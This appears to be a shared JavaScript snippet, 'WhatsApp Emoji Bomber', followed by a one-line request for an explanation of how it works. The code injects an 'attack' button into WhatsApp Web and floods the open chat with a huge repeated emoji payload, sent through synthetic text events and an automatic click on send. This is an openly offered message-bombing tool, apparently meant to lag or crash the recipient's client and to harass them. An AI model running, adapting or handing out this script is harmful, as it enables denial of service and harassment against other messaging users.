WhatsApp Emoji Bomber

bomber.js

//WhatsApp Emoji Bomber
//Copyright (c) 2016 Parth Parikh 
//Under MIT License
//Dispatch function by macr1408 from https://github.com/macr1408/Whatsapp 

function dispatch(target, eventType, char) {
    var evt = document.createEvent("TextEvent");
    evt.initTextEvent(eventType, true, true, window, char, 0, "en-US");
    target.focus();
    target.dispatchEvent(evt);
}
ip = document.createElement("input");
document.querySelector("#side > header > div.pane-list-user").appendChild(ip);
ip.focus();
bt = document.createElement("button");
bt.textContent = "attack";
bt.onclick = function() {
    size = ip.value;
    sendPayload(size);
    document.querySelector("#side > header > div.pane-list-user").removeChild(ip);
    document.querySelector("#side > header > div.pane-list-user").removeChild(bt);
}
document.querySelector("#side > header > div.pane-list-user").appendChild(bt);

function sendPayload(size) {
    a = document.querySelector("#main > footer > div > div > div > div.input");
    payload = "";
    base = "😂👍🏼😬😊😄😢➿📵〽8⃣🍪6⃣🔆😁🙈❕💳😦😋🍸♻🏧📯😨💷😧🍹😣😚💶Ⓜ🍶🌐😐⏰😀😬😁😊😚😜😐💟✡♈🛐🈳♒♋♈🕉☪✝📴📳🅰☢☢☣🉑💮🔰❔❔🚷♨🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰😂👍🏼😬😊💰😄😢➿📵〽8⃣🍪6⃣🔆😁🙈❕💳😦😋🍸♻🏧📯😨💷😧🍹😣😚💶Ⓜ🍶🌐😐⏰😀😬😁😊😚😜😐💟✡♈🛐🈳♒♋♈🕉☪✝📴📳🅰☢☢☣🉑💮🔰❔❔🚷♨🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰💟😂👍🏼😬😊💰😄😢➿📵〽8⃣🍪6⃣🔆😁🙈❕💳😦😋🍸♻🏧📯😨💷😧🍹😣😚💶Ⓜ🍶🌐😐⏰😀😬😁😊😚😜😐💟✡♈🛐🈳♒♋♈🕉☪✝📴📳🅰☢☢☣🉑💮🔰❔❔🚷♨🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰🔰💟😂😂";
    for (i = 0; i < size; i++) {
        payload += base;
    }
    
    dispatch(a, "textInput", payload);
    delete payload;
    document.querySelector("#main > footer > div > button.icon.btn-icon.icon-send.send-container").click();
}

pls guide me how it works